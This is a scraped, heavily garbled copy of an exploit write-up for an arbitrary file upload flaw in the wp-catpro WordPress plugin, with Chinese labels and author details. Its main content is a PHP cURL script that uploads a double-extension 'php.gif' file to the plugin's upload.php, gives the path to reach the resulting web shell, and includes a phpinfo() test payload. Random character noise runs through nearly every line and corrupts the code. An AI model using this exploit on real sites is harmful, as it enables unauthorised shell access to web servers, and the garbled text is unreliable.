Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability) V2 x- w+ V$ t4 J% y' ~$ J/ G& T
#-----------------------------------------------------------------------
- a3 M* Y. g. i3 i# z( ?: p , O# j( F/ N9 W2 N1 T
作者 => Zikou-16
N) m/ o' E1 }2 X; [& K; n邮箱 => zikou16x@gmail.com
" I8 N; h7 {9 K! _; U/ J测试系统 : Windows 7 , Backtrack 5r3
3 R/ c3 _, z, R: `, K+ T) ?8 Z下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip0 V7 E- ]5 t& i# b( X
####
2 p3 n. h4 q( ^9 @9 Q7 a ) t3 B- B% {' J @% H% A4 T2 E2 i
#=> Exploit 信息:' b7 J2 r4 Y! f+ [8 v V# K
------------------
8 ^$ l* z4 L7 d( B C$ T# 攻击者可以上传 file/shell.php.gif9 W: @- W- @( N) J& m7 c
# ("jpg", "gif", "png") // Allowed file extensions
3 e% l( `* J4 f5 W( |4 K1 g) {# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
: j, R. ^( ]/ \, c o6 O# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
( R. P% V% W# E------------------) }: h4 E7 Z/ T1 c0 P2 p- C
* R$ E1 I# J; G
#=> Exploit) x2 |. O/ }' m" w7 C5 Z' v
-----------
* y7 [. Z, C: T3 t9 s4 d( Q9 r<?php) ^7 O' x; ]8 Q" \6 F, _
1 m5 U$ S) J( A( h) ?4 B0 e$uploadfile="zik.php.gif";- }, C5 C; ^: h: |3 K
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");1 g) C: L9 j4 C7 b
curl_setopt($ch, CURLOPT_POST, true);
7 D- W! Q- E* Ncurl_setopt($ch, CURLOPT_POSTFIELDS,$ d p% t9 q+ z9 p' j
array('Filedata'=>"@$uploadfile",$ X; [$ K% c' G$ z6 w7 @' x
'folder'=>'/wp-content/uploads/catpro/'));
6 G/ M8 R5 {$ G3 Ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);% E: \& j) Z: t5 F8 R
$postResult = curl_exec($ch);
?8 u+ a# B' J/ j# u6 _curl_close($ch);0 c1 i+ L6 Z; n. Q
) U+ s) H! {* h7 H9 Fprint "$postResult";. g+ c+ @9 q, ?" \0 a8 w) H
" E$ k) L2 I) I) EShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
' E+ ]7 ` [8 K/ n8 S ?>
+ n9 C5 `4 o7 {# O<?php
: I7 l5 u6 o+ v9 I3 }phpinfo();0 q4 |' n7 K( _0 [. b8 h8 q
?> |